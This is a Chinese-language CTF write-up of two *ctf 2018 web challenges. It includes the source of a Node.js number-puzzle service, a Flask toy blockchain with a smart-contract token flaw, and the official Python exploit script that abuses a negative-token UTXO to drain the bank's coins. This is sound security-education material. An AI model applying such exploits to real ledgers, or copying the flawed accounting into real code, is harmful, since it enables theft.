Web 1: simpleweb
var net = require('net');
flag='fake_flag';
var server = net.createServer(function(socket) {
socket.on('data', (data) => {
//m = data.toString().replace(/[\n\r]*$/, '');
ok = true;
arr = data.toString().split(' ');
arr = arr.map(Number);
if (arr.length != 5)
ok = false;
arr1 = arr.slice(0);
arr1.sort();
for (var i=0; i<4; i++)
if (arr1[i+1] == arr1[i] || arr[i] < 0 || arr1[i+1] > 127)
ok = false;
arr2 = []
for (var i=0; i<4; i++)
arr2.push(arr1[i] + arr1[i+1]);
val = 0;
for (var i=0; i<4; i++)
val = val * 0x100 + arr2[i];
if (val != 0x23332333)
ok = false;
if (ok)
socket.write(flag+'\n');
else
socket.write('nope\n');
});
//socket.write('Echo server\r\n');
//socket.pipe(socket);
});
HOST = '0.0.0.0'
PORT = 23333
server.listen(PORT, HOST);
非常简短的一段js代码,
分析下流程
(((a * 256 + b ) * 256 + c) *256 + d) = 0x23332333
a0+a1=35
a1+a2=51
a2+a3=35
a3+a4=51
凑,因为sort的原因
a0=15
a1=20
a2=31
a3=4
a4=47
主要可能引起误解的是这里的sort
函数是按照字典序排序的
如:
>> [8,12,90].sort()
[12,8,90]
Web 2: Smart? Contract
Yet another blockchain challenge with tokens in the smart contract. Be careful that the blockchain is stored in the cookie and a browser might ignore set-cookie header if it is too long, which prevents the blockchain being updated. So send the requests using scripts.
# -*- encoding: utf-8 -*-
# written in python 2.7
__author__ = 'garzon'
import pickle
import hashlib, json, rsa, uuid, os
from flask import Flask, session, redirect, url_for, escape, request
app = Flask(__name__)
app.secret_key = '*********************'
url_prefix = '/6af948d659f0b7c5d3950a'
def FLAG():
return 'Here is your flag: *ctf{******************}'
def hash(x):
return hashlib.sha256(hashlib.md5(x).digest()).hexdigest()
def hash_reducer(x, y):
return hash(hash(x)+hash(y))
def has_attrs(d, attrs):
if type(d) != type({}): raise Exception("Input should be a dict/JSON")
for attr in attrs:
if attr not in d:
raise Exception("{} should be presented in the input".format(attr))
EMPTY_HASH = '0'*64
def addr_to_pubkey(address):
return rsa.PublicKey(int(address, 16), 65537)
def pubkey_to_address(pubkey):
assert pubkey.e == 65537
hexed = hex(pubkey.n)
if hexed.endswith('L'): hexed = hexed[:-1]
if hexed.startswith('0x'): hexed = hexed[2:]
return hexed
def gen_addr_key_pair():
pubkey, privkey = rsa.newkeys(384)
return pubkey_to_address(pubkey), privkey
bank_address, bank_privkey = gen_addr_key_pair()
hacker_address, hacker_privkey = gen_addr_key_pair()
def sign_input_utxo(input_utxo_id, privkey):
return rsa.sign(input_utxo_id, privkey, 'SHA-1').encode('hex')
def hash_utxo(utxo):
return reduce(hash_reducer, [utxo['id'], utxo['addr'], str(utxo['amount'])])
def create_output_utxo(addr_to, amount):
utxo = {'id': str(uuid.uuid4()), 'addr': addr_to, 'amount': amount}
utxo['hash'] = hash_utxo(utxo)
return utxo
def hash_tx(tx):
return reduce(hash_reducer, [
reduce(hash_reducer, tx['input'], EMPTY_HASH),
reduce(hash_reducer, [utxo['hash'] for utxo in tx['output']], EMPTY_HASH)
])
def create_tx(input_utxo_ids, output_utxo, privkey_from=None):
tx = {'input': input_utxo_ids, 'signature': [sign_input_utxo(id, privkey_from) for id in input_utxo_ids], 'output': output_utxo}
tx['hash'] = hash_tx(tx)
return tx
def hash_block(block):
return reduce(hash_reducer, [block['prev'], block['nonce'], reduce(hash_reducer, [tx['hash'] for tx in block['transactions']], EMPTY_HASH)])
def create_block(prev_block_hash, nonce_str, transactions):
if type(prev_block_hash) == type(u''): prev_block_hash = str(prev_block_hash)
if type(prev_block_hash) != type(''): raise Exception('prev_block_hash should be hex-encoded hash value')
nonce = str(nonce_str)
if len(nonce) > 128: raise Exception('the nonce is too long')
block = {'prev': prev_block_hash, 'nonce': nonce, 'transactions': transactions}
block['hash'] = hash_block(block)
return block
def find_blockchain_tail(blocks=None):
if blocks is None: blocks = session['blocks']
return max(blocks.values(), key=lambda block: block['height'])
class SRC20SmartContract:
def __init__(self, addr, privkey):
self.starTokenNum = 0
self.balanceOfAddr = {addr: 999999999}
self.addr = addr
self.privkey = privkey
self.owned_token_utxos = {}
def onCall_withdraw(self, tx):
# by calling this you can convert your StarTokens into StarCoins!
if len(tx['input']) == 1 and len(tx['output']) == 1 and len(tx['signature']) == 0 and tx['input'][0] in self.owned_token_utxos:
# which means that you would like to redeem StarCoins in the input utxo using your StarTokens
recv_addr = tx['output'][0]['addr']
amount_to_redeem = self.owned_token_utxos[tx['input'][0]]['amount']
self.sendTokenAtTx(tx, recv_addr, self.addr, amount_to_redeem)
tx['signature'].append(sign_input_utxo(tx['input'][0], self.privkey))
def onCall_buyTokens(self, utxos, tx):
# by calling this you can buy some StarTokens using StarCoins!
if len(tx['input']) == 1 and len(tx['output']) == 1 and tx['output'][0]['addr'] == self.addr:
self.sendTokenAtTx(tx, self.addr, utxos[tx['input'][0]]['addr'], tx['output'][0]['amount'])
def getTokenBalance(self, addr):
if addr not in self.balanceOfAddr: return 0
return self.balanceOfAddr[addr]
def sendTokenAtTx(self, tx, from_addr, to_addr, amount):
if self.getTokenBalance(from_addr) < amount: raise Exception("no enough StarToken at " + from_addr)
if to_addr == self.addr:
from_addr, to_addr = to_addr, from_addr
amount = -amount
utxo_used_to_record_SRCToken = create_output_utxo(to_addr, 0)
obj = {'utxo_id': utxo_used_to_record_SRCToken['id'], 'tokenNum': amount}
payload = json.dumps(obj)
signature = self.signSRCTokenUtxoPayload(payload)
info = signature + '$$$' + payload
utxo_used_to_record_SRCToken['extra'] = info
tx['output'].append(utxo_used_to_record_SRCToken)
def signSRCTokenUtxoPayload(self, payload):
return rsa.sign(payload, self.privkey, 'SHA-1').encode('hex')
def verifySRCTokenUtxoPayload(self, payload, signature):
try:
return rsa.verify(payload, signature.decode('hex'), addr_to_pubkey(self.addr))
except:
return False
def extractInfoFromUtxos(self, utxos):
for utxo_id, utxo in utxos.items():
if 'extra' in utxo:
info = utxo['extra']
if type(info) == type(u''): info = str(info)
if type(info) != type(''): raise Exception("unknown type of 'extra' in utxo")
if '$$$' not in info: raise Exception("signature of SRC20 token is not found")
signature = info[:info.index('$$$')]
payload = info[info.index('$$$')+3:]
if not self.verifySRCTokenUtxoPayload(payload, signature): raise Exception("this SRC20 token is fake")
obj = json.loads(payload)
if obj['utxo_id'] != utxo['id']: raise Exception("the id of utxo does not match the one on the token")
if utxo['addr'] not in self.balanceOfAddr: self.balanceOfAddr[utxo['addr']] = 0
self.balanceOfAddr[utxo['addr']] += obj['tokenNum']
if utxo['addr'] == self.addr: self.owned_token_utxos[utxo['id']] = utxo
def calculate_utxo(blockchain_tail):
starToken_contract = SRC20SmartContract(bank_address, bank_privkey)
curr_block = blockchain_tail
blockchain = [curr_block]
while curr_block['hash'] != session['genesis_block_hash']:
curr_block = session['blocks'][curr_block['prev']]
blockchain.append(curr_block)
blockchain = blockchain[::-1]
utxos = {}
for block in blockchain:
for tx in block['transactions']:
for input_utxo_id in tx['input']:
del utxos[input_utxo_id]
for utxo in tx['output']:
utxos[utxo['id']] = utxo
starToken_contract.extractInfoFromUtxos(utxos)
return utxos, starToken_contract
def calculate_balance(utxos):
balance = {bank_address: 0, hacker_address: 0}
for utxo in utxos.values():
if utxo['addr'] not in balance:
balance[utxo['addr']] = 0
balance[utxo['addr']] += utxo['amount']
return balance
def verify_utxo_signature(address, utxo_id, signature):
try:
return rsa.verify(utxo_id, signature.decode('hex'), addr_to_pubkey(address))
except:
return False
def append_block(block, difficulty=int('f'*64, 16)):
has_attrs(block, ['prev', 'nonce', 'transactions'])
if type(block['prev']) == type(u''): block['prev'] = str(block['prev'])
if type(block['nonce']) == type(u''): block['nonce'] = str(block['nonce'])
if block['prev'] != find_blockchain_tail()['hash']: raise Exception("You do not have the dominant mining power so you can only submit tx to the last block.")
tail = session['blocks'][block['prev']]
utxos, contract = calculate_utxo(tail)
if type(block['transactions']) != type([]): raise Exception('Please put a transaction array in the block')
new_utxo_ids = set()
for tx in block['transactions']:
has_attrs(tx, ['input', 'output', 'signature'])
for utxo in tx['output']:
has_attrs(utxo, ['amount', 'addr', 'id'])
if type(utxo['id']) == type(u''): utxo['id'] = str(utxo['id'])
if type(utxo['addr']) == type(u''): utxo['addr'] = str(utxo['addr'])
if type(utxo['id']) != type(''): raise Exception("unknown type of id of output utxo")
if utxo['id'] in new_utxo_ids: raise Exception("output utxo of same id({}) already exists.".format(utxo['id']))
new_utxo_ids.add(utxo['id'])
if type(utxo['amount']) != type(1): raise Exception("unknown type of amount of output utxo")
if utxo['amount'] < 0: raise Exception("invalid amount of output utxo")
if type(utxo['addr']) != type(''): raise Exception("unknown type of address of output utxo")
try:
addr_to_pubkey(utxo['addr'])
except:
raise Exception("invalid type of address({})".format(utxo['addr']))
utxo['hash'] = hash_utxo(utxo)
for new_id in new_utxo_ids:
if new_id in utxos:
raise Exception("invalid id of output utxo. utxo id({}) exists".format(utxo_id))
if type(tx['input']) != type([]): raise Exception("type of input utxo ids in tx should be array")
if type(tx['signature']) != type([]): raise Exception("type of input utxo signatures in tx should be array")
tx['input'] = [str(i) if type(i) == type(u'') else i for i in tx['input']]
for utxo_id in tx['input']:
if type(utxo_id) != type(''): raise Exception("unknown type of id of input utxo")
if utxo_id not in utxos: raise Exception("invalid id of input utxo. Input utxo({}) does not exist or it has been consumed.".format(utxo_id))
if contract is not None:
if 'call_smart_contract' in tx:
if tx['call_smart_contract'] == 'buyTokens': contract.onCall_buyTokens(utxos, tx)
if tx['call_smart_contract'] == 'withdraw': contract.onCall_withdraw(tx)
tot_input = 0
if len(tx['input']) != len(tx['signature']): raise Exception("lengths of arrays of ids and signatures of input utxos should be the same")
tx['signature'] = [str(i) if type(i) == type(u'') else i for i in tx['signature']]
for utxo_id, signature in zip(tx['input'], tx['signature']):
utxo = utxos[utxo_id]
if type(signature) != type(''): raise Exception("unknown type of signature of input utxo")
if not verify_utxo_signature(utxo['addr'], utxo_id, signature):
raise Exception("Signature of input utxo is not valid. You are not the owner of this input utxo({})!".format(utxo_id))
tot_input += utxo['amount']
del utxos[utxo_id]
tot_output = sum([utxo['amount'] for utxo in tx['output']])
if tot_output > tot_input:
raise Exception("You don't have enough amount of StarCoins in the input utxo! {}/{}".format(tot_input, tot_output))
tx['hash'] = hash_tx(tx)
block = create_block(block['prev'], block['nonce'], block['transactions'])
block_hash = int(block['hash'], 16)
#We are users in this challenge, so leave the Proof-of-Work thing to the non-existent miners
#if block_hash > difficulty: raise Exception('Please provide a valid Proof-of-Work')
block['height'] = tail['height']+1
if len(session['blocks']) > 10: raise Exception('The blockchain is too long. Use ./reset to reset the blockchain')
if block['hash'] in session['blocks']: raise Exception('A same block is already in the blockchain')
session['blocks'][block['hash']] = block
session.modified = True
def init():
if 'blocks' not in session:
session['blocks'] = {}
# At first, the bank issued some StarCoins, and give you 100
currency_issued = create_output_utxo(bank_address, 200)
airdrop = create_output_utxo(hacker_address, 100)
genesis_transaction = create_tx([], [currency_issued, airdrop]) # create StarCoins from nothing
genesis_block = create_block(EMPTY_HASH, 'The Times 03/Jan/2009 Chancellor on brink of second bailout for bank', [genesis_transaction])
session['genesis_block_hash'] = genesis_block['hash']
genesis_block['height'] = 0
session['blocks'][genesis_block['hash']] = genesis_block
def get_balance_of_all():
init()
tail = find_blockchain_tail()
utxos, contract = calculate_utxo(tail)
return calculate_balance(utxos), utxos, tail, contract
@app.route(url_prefix+'/')
def homepage():
announcement = ''
balance, utxos, _, contract = get_balance_of_all()
genesis_block_info = 'hash of genesis block: ' + session['genesis_block_hash']
addr_info = 'the bank\'s addr: ' + bank_address + ', your addr: ' + hacker_address + ', your privkey: ' + pickle.dumps(hacker_privkey).encode('hex')
balance_info = 'StarCoins balance of all addresses: ' + json.dumps(balance)
starcoins_utxo_info = 'All utxos: ' + json.dumps(utxos)
startokens_info = 'StarTokens balance of all addresses: ' + json.dumps(contract.balanceOfAddr)
blockchain_info = 'Blockchain Explorer: ' + json.dumps(session['blocks'])
view_source_code_link = "<a href='source_code'>View source code</a>"
return announcement+('.<br /><br />\r\n\r\n'.join([view_source_code_link, genesis_block_info, addr_info, balance_info, starcoins_utxo_info, startokens_info, blockchain_info]))
DIFFICULTY = int('00000' + 'f' * 59, 16)
@app.route(url_prefix+'/create_block', methods=['POST'])
def create_block_api():
init()
try:
block = json.loads(request.data)
append_block(block, DIFFICULTY)
msg = 'transaction finished.'
except Exception, e:
return str(e)
balance, utxos, tail, contract = get_balance_of_all()
if balance[hacker_address] == 200:
msg += ' Congratulations~ ' + FLAG()
return msg
# if you mess up the blockchain, use this to reset the blockchain.
@app.route(url_prefix+'/reset')
def reset_blockchain():
if 'blocks' in session: del session['blocks']
if 'genesis_block_hash' in session: del session['genesis_block_hash']
return 'reset.'
@app.route(url_prefix+'/source_code')
def show_source_code():
source = open('serve.py', 'r')
html = ''
for line in source:
line = line.decode('utf8', 'ignore')
html += line.replace('&','&').replace('\t', ' '*4).replace(' ',' ').replace('<', '<').replace('>','>').replace('\n', '<br />')
source.close()
return html
if __name__ == '__main__':
app.run(debug=False, host='0.0.0.0', port=10012)
这道题目是从ddctf2018的区块链处改编的,由于不熟区块链和智能合约,看了好久,还是没真正看懂智能合约部分,所以,Orz。
良心的官方给了解答
https://github.com/sixstars/starctf2018/tree/master/web-smart_contract
# -*- encoding: utf-8 -*-
# written in python 2.7
__author__ = 'garzon'
import requests, json, hashlib, rsa, pickle, uuid
from server import *
# do some modifications to the original one to remove 'session' variable and privkey
def calculate_utxo(blocks, bankAddr, blockchain_tail):
starToken_contract = SRC20SmartContract(bankAddr, 0)
curr_block = blockchain_tail
blockchain = [curr_block]
while curr_block['height'] != 0:
curr_block = blocks[curr_block['prev']]
blockchain.append(curr_block)
blockchain = blockchain[::-1]
utxos = {}
for block in blockchain:
for tx in block['transactions']:
for input_utxo_id in tx['input']:
del utxos[input_utxo_id]
for utxo in tx['output']:
utxos[utxo['id']] = utxo
starToken_contract.extractInfoFromUtxos(utxos)
print 'utxos = {'
for utxo in utxos:
print json.dumps(utxo) + ' : \n\t' + json.dumps(utxos[utxo])
print '}'
return utxos, starToken_contract
# ==============
def create_output_utxo(addr_to, amount):
utxo = {'id': str(uuid.uuid4()), 'addr': addr_to, 'amount': amount}
utxo['hash'] = hash_utxo(utxo)
return utxo
def find_inner_str(haystack, st, ed=None):
haystack = haystack[haystack.index(st)+len(st):]
if ed is None: return haystack
return haystack[:haystack.index(ed)]
def append_block(block):
print "block = \n\t" + json.dumps(block)
print '[APPEND]', s.post(url_prefix+'/create_block', data=json.dumps(block),proxies=proxies).text
print "\n\n"
is_first_time = True
def show_blockchain():
global is_first_time
ret = s.get(url_prefix+'/',proxies=proxies).text
#print ret.replace('<br />','')
tokens = json.loads(find_inner_str(ret, 'StarTokens balance of all addresses: ', '.'))
balance = json.loads(find_inner_str(ret, 'StarCoins balance of all addresses: ', '.'))
print 'tokens = ' + json.dumps(tokens)
print 'balance = ' + json.dumps(balance)
if not is_first_time:
print '[tokens = {}, balance = {}]'.format(tokens.get(my_address, 0), balance[my_address])
is_first_time = False
print 'block trains = \n\t' + find_inner_str(ret, 'Blockchain Explorer: ')
return ret, json.loads(find_inner_str(ret, 'Blockchain Explorer: '))
def redeem(bank_owned_utxo_id, tail, amount, nonce):
output_to_get_starcoins = create_output_utxo(my_address, amount)
tx = create_tx([bank_owned_utxo_id], [output_to_get_starcoins], my_privkey) # my_privkey is dummy, the signature will be overwritten
tx['signature'] = [] # remains the field to be filled by smart contract
tx['call_smart_contract'] = 'withdraw'
block = create_block(tail['hash'], nonce, [tx])
append_block(block)
return output_to_get_starcoins
def buyTokens(utxoIdPaid, tail, amount, contractAddr, nonce):
output_to_get_tokens = create_output_utxo(contractAddr, amount)
tx = create_tx([utxoIdPaid], [output_to_get_tokens], my_privkey)
tx['call_smart_contract'] = 'buyTokens'
block = create_block(tail['hash'], nonce, [tx])
append_block(block)
return output_to_get_tokens
url_prefix = 'http://127.0.0.1:10012/6af948d659f0b7c5d3950a'
proxies = {"http":"http://127.0.0.1:8080"}
s = requests.session()
# 100 starcoins
resp, blocks = show_blockchain()
my_address, my_privkey = find_inner_str(resp, 'your addr: ', ','), pickle.loads(find_inner_str(resp, 'your privkey: ', '.').decode('hex'))
bankAddr = find_inner_str(resp, 'the bank\'s addr: ', ',')
tail = find_blockchain_tail(blocks)
utxos, contract = calculate_utxo(blocks, bankAddr, tail)
for utxo in utxos.values():
if utxo['addr'] == my_address: my_utxo = utxo # find the utxo of 100 starcoins
if utxo['addr'] == bankAddr: coinsIssued = utxo
first100TokenBankOwned = buyTokens(my_utxo['id'], tail, 100, contract.addr, 'step1')
# 100 tokens
resp, blocks = show_blockchain()
tail = find_blockchain_tail(blocks)
utxos, contract = calculate_utxo(blocks, bankAddr, tail)
for utxo in utxos.values():
if utxo['addr'] == my_address:
break
my_first_100_tokens_utxo_id = utxo['id']
my_100_starcoins = redeem(first100TokenBankOwned['id'], tail, 100, 'step2')
# 100 starcoins, 100 - 100 tokens
resp, blocks = show_blockchain()
tail = find_blockchain_tail(blocks)
utxos, contract = calculate_utxo(blocks, bankAddr, tail)
for utxo in utxos.values():
if utxo['addr'] == my_address and utxo['id'] != my_first_100_tokens_utxo_id and utxo['amount'] == 0:
break # find the utxo of -100 tokens
output_to_send_minus_100_token = create_output_utxo(bankAddr, 0)
tx = create_tx([utxo['id']], [output_to_send_minus_100_token], my_privkey)
block = create_block(tail['hash'], 'step3', [tx])
append_block(block)
# 100 starcoins, 100 tokens, but the bank now just own a utxo of 200 starcoins, we need 200 tokens to redeem that utxo
resp, blocks = show_blockchain()
tail = find_blockchain_tail(blocks)
buyTokens(my_100_starcoins['id'], tail, 100, contract.addr, 'step4')
# 200 tokens to exchange the utxo of 200 starcoins owned by the bank initially
resp, blocks = show_blockchain()
tail = find_blockchain_tail(blocks)
redeem(coinsIssued['id'], tail, 200, 'step5')
所以,这道题目的分析,准备从分析答案开始,回过头来分析源代码。
分析流程
首先,直接看答案源代码还是比较晕的,毕竟不知道他在干啥。
所以,我们先来加些log,看看整个获得flag的流程是怎样的。
用自己的钱,正常购买100token。
看起来像是正常提取100token,注意,要从不是tokenNum为100这里提取,这样提取后会有个tokenNum为-100的
注意到回到了tokens为0(100 + -100 = 0),balance为100的局面,仿佛一切回到了原点,
哦?是吗
这是我们的地址,从这里转0个币(amount = 0)到银行,
这里就导致了一个不守恒,原则上,应该对于一个区块来说,input和output的总额应该是相等的,但是,由于这里将token储存在到extra
数据域中,那么这个tokenNum=-100
就会因这次的操作而消失(导致了所谓的不守恒),即不会参与到后面的计算中,那么账户中多了100个token。
即,原来的utxos
中包括了两个存有extra
数据的utxo
,分别记录了tokenNum=100
和tokenNum=-100
,计算你的tokens
值时,会将他们求总和,即100 + -100 = 0
。
后面,我们通过转账0个币给银行,导致存储着tokenNum = -100
的utxo
被使用了,其中存储的tokenNum = -100
也就不会再参与计算你的tokens
值,那么,计算你的tokens
时,求总和,即100 = 100
,此时,你的tokens为100。
嗯,然后进行正常的操作将tokens转成balance即可
这样下来,整个流程我们就清楚啦。
分析代码
首先分析,整个-100是怎么产生的,
在withdraw时,这里amount = -amount
,这是什么操作?意义是?当时看到这里我就一直在迷。
再来看,当tokenNum
为-100时,转账amount = 0
时,导致我们tokens增加100。
被引用过的就不会加入到utxo
的计算中了。
转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至3213359017@qq.com